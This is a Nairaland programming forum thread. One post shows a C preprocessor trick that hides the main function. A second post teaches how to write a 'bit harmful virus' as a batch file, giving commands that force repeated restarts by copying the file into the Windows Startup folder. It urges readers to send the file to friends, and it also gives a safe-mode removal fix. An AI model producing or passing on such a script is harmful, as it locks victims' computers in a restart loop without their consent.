Welcome, Guest: Register On Nairaland / LOGIN! / Trending / Recent / New
Stats: 3,152,086 members, 7,814,773 topics. Date: Wednesday, 01 May 2024 at 07:29 PM

C Program Without A Mainfunction - Programming - Nairaland

Nairaland Forum / Science/Technology / Programming / C Program Without A Mainfunction (608 Views)

Help! Im Stuck With This C# Program / Please Programmars Help Me Out With This C# Program! I Have Test Tommorrow!!!!! / Learn How To Program Without Going To School (2) (3) (4)

(1) (Reply)

C Program Without A Mainfunction by smobnology(m): 5:26pm On Jul 24, 2015
www.smobnology.com/2015/07/c-program-without-main-function.html?m=0
Have you ever wondered how to write a C program
without a main function? Can a C program execute
with a main function? Is it possible to do that?
Well, the answer is YES! There can be a C program
without a main function. Here is the source code of
the program without a main function:
#include<stdio.h>
#define decode(s,t,u,m,p,e,d) m##s##u##t
#define begin decode(a,n,i,m,a,t,e)
int begin()
{
printf(” hello “);
}
The above program runs perfectly fine even without a
main function. But how? What’s the logic behind it?
How can we have a C program working without a
main function. Read on to find out the answer…
Here, we are using a preprocessor directive called #
define with arguments to give an impression that the
program runs without the main function. However, in
reality it runs with a hidden main function in it.
NOTE: A Preprocessor is program which processes
the source code before compilation.
The ‘##‘ operator is called the token pasting or token
merging operator. That is, we can merge two or
more characters with it. Now, look at the 2nd line of
program: read more. www.smobnology.com/2015/07/c-program-without-main-function.html?m=0
www.smobnology.com/2015/07/c-program-without-main-function.html?m=0

1 Like

Re: C Program Without A Mainfunction by smobnology(m): 3:11am On Jul 27, 2015
www.smobnology.com/2015/07/how-to-create-batch-file.html?m=0 HOW TO CREATE A BATCH FILE


This tutorial is about batch file programming, How to code a bit harmful virus using batch file and How to prevent against this virus. Read this amazing post and don’t forget to leave your feedback in comments. Batch file commands : @echo off shutdown -r -t 100 -c “maverick” xcopy “filename.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y _________________________________________________________ ___ Save it as any name with a .bat extension but with name * filename.bat* you can change “maverick” with what ever message you want, You can also change “100“(in secs) with whatever time you want to restart. if you changes *filename.bat* to “othername.bat” then also changes the above code to || xcopy “othername.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y || Send this file to your friends using a pendrive or by uploadig it to rapidshare/hotfile service. LOGIC:- .bat- Files having these extensions are known as batch files containg commands to be executed by command interpreter. @echo off – This command is used to turn off the display of executing command in command console. -r – This parameter restarts the PC.You can also use “-s” (without quotes) to shutdown the PC. -t :- This parameter specifies time in seconds. -c :- This parameter is used to specify a message in the shutdown box. xcopy:- This command copies the file specified with double quotes “othername.bat” to the location specifies (in this case startup) with double quotes “C:Documents and SettingsAll UsersStart MenuProgramsStartup” Startup :This folder contans files to be open when ever your computer boot ups.If you place a file here it will automatically open that file on every boot. y :- This parameter asks the command prompt to overwrite the file After running this virus, your PC will restart and again and so on.. only way to stop this mess is to directly plug off the switch from the power board. Solution: Open your computer in safe mode and permanently delete the batch file from the startup folder. www.smobnology.com/2015/07/how-to-create-batch-file.html?m=0 www.smobnology.com/2015/07/how-to-create-batch-file.html?m=0

(1) (Reply)

How The Youth Are Helping Orphans In Ghana To Learn ICT / Ethical Hacking / Visual Basic Training In Ibadan.

(Go Up)

Sections: politics (1) business autos (1) jobs (1) career education (1) romance computers phones travel sports fashion health
religion celebs tv-movies music-radio literature webmasters programming techmarket

Links: (1) (2) (3) (4) (5) (6) (7) (8) (9) (10)

Nairaland - Copyright © 2005 - 2024 Oluwaseun Osewa. All rights reserved. See How To Advertise. 11
Disclaimer: Every Nairaland member is solely responsible for anything that he/she posts or uploads on Nairaland.